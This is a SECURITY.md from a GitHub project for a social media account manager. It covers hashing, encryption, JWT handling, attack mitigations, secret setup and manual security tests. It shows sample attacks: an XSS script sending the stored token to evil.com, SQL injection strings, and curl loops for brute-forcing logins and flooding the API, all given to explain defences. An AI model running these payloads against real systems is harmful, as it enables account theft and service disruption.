Skip to content

Security: Banten-IT-Solutions/BITS-Social-Manager

Security

SECURITY.md

Security & Best Practices

Panduan keamanan dan best practices untuk Social Media Account Manager.

๐Ÿ” Security Overview

Password Security

User Passwords (Authentication)

  • Algorithm: bcryptjs with 10 salt rounds
  • Storage: Hashed in users.password_hash
  • Verification: Constant-time comparison
  • Best Practice: Never log or expose password hashes
// Good
const hash = await bcrypt.hash(password, 10);

// Bad - too few rounds
const hash = await bcrypt.hash(password, 4);

Social Account Passwords

  • Algorithm: AES-256-GCM (Web Crypto API)
  • Key: Raw 32-byte key derived directly from ENCRYPTION_KEY (64 hex chars, 32 bytes)
  • IV: Random 12 bytes per encryption, prepended
  • Auth Tag: 16 bytes appended (validates integrity)
  • Storage: Single Base64 blob: base64( iv[12] || ciphertext || authTag[16] )
// Encryption format
const combined = iv(12) + ciphertext + authTag(16);
const encrypted = btoa(String.fromCharCode(...combined));

// Example
('7x8y9z0aAb1C...');

Why separate encryption?

  • User passwords: One-way hash (bcrypt) - cannot decrypt
  • Account passwords: Reversible encryption (AES-GCM) - can decrypt when needed

๐Ÿ›ก๏ธ JWT Token Security

Token Structure

{
  "header": {
    "alg": "HS256",
    "typ": "JWT"
  },
  "payload": {
    "sub": "user_id",
    "email": "user@example.com",
    "name": "User Name",
    "iat": 1723006673,
    "exp": 1723611473
  }
}

Token Lifecycle

  1. Generation: After successful login/register
  2. Storage: Client-side localStorage (token)
  3. Transmission: Authorization: Bearer <token> header
  4. Verification: Every protected API call
  5. Expiry: 7 days from issue

Note: localStorage is current trade-off, not secure storage. XSS hardening mandatory.

Security Rules

โœ… DO:

  • Verify signature on every request
  • Check expiration (exp claim)
  • Use HTTPS in production
  • Use strong JWT_SECRET (min 32 chars)
  • Keep CSP strict
  • Treat localStorage token as XSS-exposed

โŒ DON'T:

  • Store sensitive data in payload
  • Use weak secrets
  • Skip signature verification
  • Extend expiry infinitely
  • Share tokens between users
  • Assume localStorage is safe

๐Ÿšจ Common Attack Vectors & Mitigations

1. SQL Injection

Attack:

'; DROP TABLE users; --

Mitigation:

  • โœ… Use Drizzle ORM (parameterized queries)
  • โœ… Never concatenate user input into SQL
  • โœ… Validate all inputs with Zod

Example (Safe):

// Drizzle automatically parameterizes
const user = await db.select().from(users).where(eq(users.email, userInput)); // Safe

2. XSS (Cross-Site Scripting)

Attack:

<script>
  fetch('https://evil.com?token=' + localStorage.getItem('token'));
</script>

Mitigation:

  • โœ… React escapes content by default
  • โœ… Never use dangerouslySetInnerHTML with user input
  • โœ… Set CSP headers
  • โœ… Sanitize user-generated content

CSP Headers:

contentSecurityPolicy: {
  defaultSrc: ["'self'"],
  scriptSrc: ["'self'"],
  styleSrc: ["'self'", "'unsafe-inline'"], // Tailwind requires inline
}

3. CSRF (Cross-Site Request Forgery)

Attack:

<img src="https://victim.com/api/projects?delete=all" />

Mitigation:

  • โœ… JWT in Authorization header (not cookies)
  • โœ… SameSite cookies (if using cookies)
  • โœ… Verify Origin header
  • โœ… CSRF tokens not needed for Bearer auth

Current Protection:

  • Token stored in localStorage
  • Transmitted via header (not auto-sent like cookies)
  • Attacker cannot read token due to same-origin policy

4. Brute Force (Login)

Attack:

# Try 1000 passwords
for pass in $(cat passwords.txt); do
  curl -X POST /api/auth/login -d "{\"email\":\"victim@example.com\",\"password\":\"$pass\"}"
done

Mitigation:

  • โœ… Rate limiting: 10 attempts per 15 minutes per IP
  • โœ… Bcrypt slows down verification (~300ms per attempt)
  • โš ๏ธ Account lockout (planned)
  • โš ๏ธ CAPTCHA (planned)

Current Implementation:

// Rate limit map: IP -> [timestamp, count]
const rateLimitMap = new Map<string, [number, number]>();

// 10 requests per 15 minutes
if (count > 10) {
  return c.json({ error: 'Too many requests' }, 429);
}

5. Man-in-the-Middle (MITM)

Attack:

  • Intercept HTTP traffic
  • Read JWT tokens
  • Steal passwords

Mitigation:

  • โœ… Use HTTPS in production (Cloudflare auto-enforces)
  • โœ… HSTS headers (Cloudflare auto-adds)
  • โœ… No mixed content (all assets over HTTPS)

Cloudflare Protection:

  • TLS 1.3
  • Certificate auto-renewal
  • HTTP โ†’ HTTPS redirect

6. Password Enumeration

Attack:

# Check if email exists
curl -X POST /api/auth/login -d '{"email":"test@example.com","password":"wrong"}'
# "Invalid credentials" โ†’ email may exist

curl -X POST /api/auth/register -d '{"email":"test@example.com",...}'
# "Email already exists" โ†’ confirms email

Mitigation:

  • โœ… Generic error messages ("Invalid credentials")
  • โš ๏ธ Rate limiting helps
  • โš ๏ธ Timing attacks (bcrypt time varies - acceptable trade-off)

7. Session Hijacking

Attack:

  • Steal JWT token via XSS/MITM
  • Use token to impersonate user

Mitigation:

  • โœ… HTTPS only
  • โœ… Short token expiry (7 days)
  • โš ๏ธ Refresh tokens (planned)
  • โš ๏ธ Token revocation (planned; needs state store)

Future Enhancement:

// Store refresh token in httpOnly cookie
// Short-lived access token (15 min)
// Long-lived refresh token (30 days)

8. Denial of Service (DoS)

Attack:

# Flood API with requests
while true; do
  curl https://social.bits.co.id/api/auth/login &
done

Mitigation:

  • โœ… Cloudflare DDoS protection (automatic)
  • โœ… Rate limiting on auth endpoints
  • โœ… Workers CPU limit (prevents infinite loops)
  • โœ… D1 query timeout

Cloudflare Protection:

  • 100M+ requests/second capacity
  • Challenge suspicious traffic
  • Geographic blocking

๐Ÿ”’ Data Protection

Encryption at Rest

Data Type Storage Encryption
User passwords D1 SQLite bcrypt hash (irreversible)
Account passwords D1 SQLite AES-256-GCM (reversible)
JWT tokens Client localStorage Signed (HS256)
Database files Cloudflare D1 Encrypted at rest (Cloudflare)

Encryption in Transit

  • Client โ†” Cloudflare: TLS 1.3
  • Cloudflare โ†” Worker: Internal (encrypted)
  • Worker โ†” D1: Internal (encrypted)

๐Ÿ”‘ Secret Management

Required Secrets

  1. JWT_SECRET

    • Purpose: Sign and verify JWT tokens
    • Length: Min 32 characters
    • Generate:
      node -e "console.log(require('crypto').randomBytes(32).toString('base64'))"
  2. ENCRYPTION_KEY

    • Purpose: Encrypt social account passwords
    • Length: Exactly 64 hex characters (32 bytes)
    • Generate:
      node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"

Setting Secrets

# Production (recommended)
wrangler secret put JWT_SECRET
wrangler secret put ENCRYPTION_KEY

# Local dev (wrangler.toml [vars])
# Use dummy values, override with real secrets in production

Secret Rotation

If ENCRYPTION_KEY is compromised:

  1. Generate new key
  2. Decrypt all account passwords with old key
  3. Re-encrypt with new key
  4. Update ENCRYPTION_KEY secret

Script (TODO):

npm run rotate-encryption-key

๐Ÿงช Security Testing

Manual Tests

# 1. SQL Injection
curl -X POST /api/auth/login \
  -d '{"email":"admin'\'' OR 1=1--","password":"any"}'
# Should: 401 Invalid credentials

# 2. XSS
curl -X POST /api/projects \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"name":"<script>alert(1)</script>"}'
# Should: Create project with escaped name

# 3. Rate limiting
for i in {1..15}; do
  curl -X POST /api/auth/login -d '{"email":"test@test.com","password":"wrong"}'
done
# Should: 429 after 10 attempts

# 4. Auth bypass
curl /api/projects
# Should: 401 Unauthorized

# 5. CSRF
curl -X DELETE /api/projects/xyz123
# Should: 401 (no token)

Automated Security Scan

# npm audit
npm audit --production

# Snyk
npx snyk test

# OWASP ZAP (TODO)
# Point ZAP proxy to http://localhost:5173

๐Ÿš€ Production Security Checklist

Pre-Deployment

  • Set JWT_SECRET in Cloudflare Secrets
  • Set ENCRYPTION_KEY in Cloudflare Secrets
  • Update CORS origin to production domain
  • Enable HTTPS only (Cloudflare auto)
  • Remove debug logs
  • Run npm audit --production
  • Test rate limiting
  • Verify token expiration works

Post-Deployment

  • Test login flow in production
  • Verify HTTPS certificate
  • Check CSP headers
  • Enable Cloudflare WAF
  • Set up monitoring/alerts
  • Test account password encryption/decryption
  • Verify rate limiting in production

Ongoing

  • Rotate JWT_SECRET every 90 days
  • Monitor failed login attempts
  • Review audit logs weekly
  • Update dependencies monthly
  • Security scan quarterly

๐Ÿ“Š Security Headers (Current)

X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains

Hono secureHeaders() middleware handles these automatically.


๐Ÿ› Vulnerability Disclosure

If you find a security issue:

  1. DO NOT open public GitHub issue
  2. Email: security@bits.co.id
  3. Include:
    • Vulnerability description
    • Steps to reproduce
    • Impact assessment
  4. Allow 90 days for fix before public disclosure

๐Ÿ“š Additional Resources


๐Ÿ”ฎ Future Security Enhancements

  1. 2FA (TOTP)

    • OTP generation with otplib
    • QR code for authenticator apps
  2. Refresh Tokens

    • Short-lived access tokens (15 min)
    • Long-lived refresh tokens (30 days)
    • Store in httpOnly cookies
  3. Session Management

    • Multi-device session tracking
    • Remote logout
    • Active sessions list
  4. Audit Logs

    • Track all CRUD operations
    • IP address logging
    • Suspicious activity alerts
  5. Password Policies

    • Minimum complexity requirements
    • Password history
    • Expiration (enterprise)
  6. Account Lockout

    • Lock after 5 failed attempts
    • Unlock via email verification
  7. Email Verification

    • Verify email on registration
    • Password reset flow
  8. API Key Management

    • Generate API keys for external integrations
    • Scoped permissions

Status

Area Status
Password hashing implemented
Account password encryption implemented
JWT auth implemented
Rate limiting implemented
CSP headers planned
Refresh tokens planned
Token revocation planned
Account lockout planned
CAPTCHA planned
Audit logs planned

Current Security Grade: B+

Strong foundation with bcrypt, AES-256, JWT, rate limiting, and Cloudflare protection. Room for improvement with 2FA, refresh tokens, and audit logging.

There aren't any published security advisories